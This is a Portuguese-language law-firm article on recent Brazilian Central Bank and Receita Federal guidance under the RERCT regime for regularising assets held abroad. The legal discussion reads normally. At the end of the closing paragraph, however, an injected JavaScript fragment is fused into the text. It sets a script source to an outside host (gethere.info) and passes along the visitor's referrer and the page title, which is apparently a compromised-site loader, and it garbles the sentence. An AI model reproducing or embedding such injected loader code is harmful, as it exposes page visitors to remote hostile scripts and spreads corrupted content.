Novas resoluções no âmbito da regularização de ativos no exterior

Nos últimos meses diversos normativos foram aprovados e publicados pelas autoridades responsáveis pela regulamentação e processamento do Regime Especial de Regularização Cambial e Tributária (“RERCT”) com vistas a esclarecer os procedimentos da regularização de ativos e proporcionar maior segurança jurídica ao regime.

Através de Circulares, a Diretoria Colegiada do Banco Central regulamentou a possibilidade de antecipação total ou parcial da repatriação de recursos financeiros constantes da Declaração de Regularização Cambial e Tributária (Dercat), desde que seja realizado integralmente o pagamento do imposto e da multa previstos na Instrução Normativa nº 1.627/2016 da Receita Federal (imposto sobre a renda à alíquota de 15% sobre o valor total em reais dos recursos mais multa de 100% do referido imposto).

Com relação à declaração de Capitais Brasileiros no Exterior (CBE) do Banco Central do Brasil, este órgão já decidiu que no caso de inexistência de bens e capitais passíveis de declaração em 31 de dezembro de 2014 ou datas-bases posteriores, não deve ser enviada retificadora da CBE da respectiva data-base.

Além disso, por meio das versões 1.0 e 1.1 do “Dercat – Perguntas e Respostas”, aprovadas pelos Atos Declaratórios Interpretativos nº 05 e nº 06, de 11 de julho e 9 de agosto de 2016, respectivamente, a Receita Federal consolidou entendimentos relevantes para os que desejam aderir ao RERCT.

Um esclarecimento particularmente relevante para os que receberam recursos no exterior em decorrência de herança ou doação é o referente à forma de declaração de bens e direitos possuídos em condomínio. Nestes casos, de acordo com a Receita Federal, cada condômino deverá declarar o bem ou direito em relação à parcela de que é titular.

Ainda a respeito de doações, a Receita Federal inovou, de forma polêmica, ao determinar que doações realizadas a descendentes em data anterior a 31 de dezembro de 2014 devem ser declaradas e regularizadas pelo doador, que deverá apresentar a Dercat e pagar o imposto e a multa. O donatário, efetivo titular dos bens e direitos em 31 de dezembro de 2014, de acordo com a Receita Federal, deve tão somente retificar suas últimas declarações de IRPF para informar esses bens e direitos. Apesar de o entendimento da Receita Federal possuir caráter normativo infralegal, pode-se dizer que, neste caso, extrapola os limites aos quais a Receita Federal, como órgão administrativo, está submetida e, portanto, é passível de questionamentos.

Com relação à contabilidade de trusts e offshores, quase sempre sediadas nos ditos paraísos fiscais, onde as exigências são sensivelmente menos rigorosas do que no Brasil, a Receita Federal esclareceu que as demonstrações financeiras devem seguir as regras da sua respectiva jurisdição e assinados por profissional habilitado.

Finalmente, sobre a obrigatoriedade de o declarante solicitar e autorizar a instituição financeira no exterior a enviar informação sobre o saldo dos ativos no exterior, na data base de 31 de dezembro de 2014, via SWIFT (Society for Worlwide Interbank Financial Telecommunication), sempre que o montante global desses ativos for superior a US$ 100.000,00 (cem mil dólares americanos), a RFB esclareceu que esta exigência só se aplica nos casos em os ativos sejam mantidos diretamente em nome do declarante ou em nome de pessoa interposta, excluindo-se, portanto, os casos de contas bancárias em nome de trusts, fundações ou offshores.

Passada a indefinição inicial com relação aos procedimentos para adesão ao RERCT, a aproximação do prazo fatal para o envio da declaração tem feito com que a Receita Federal e o Banco Central do Brasil se esforcem para tentar preencher as lacunas deixadas pela Lei que instituiu o RERCT (Lei nº 13.254/2016) e ampliar o número de adesões.

Por todo o exposto, e considerando que a adesão ao RERCT implica na confissão de condutas tipificadas na legislação como crimes, a decisão sobre a adesão ou não é extremamente sensível. Assim, ficamos à inteira disposição para discutir pessoalmente o assunto.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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por Flavio Leoni

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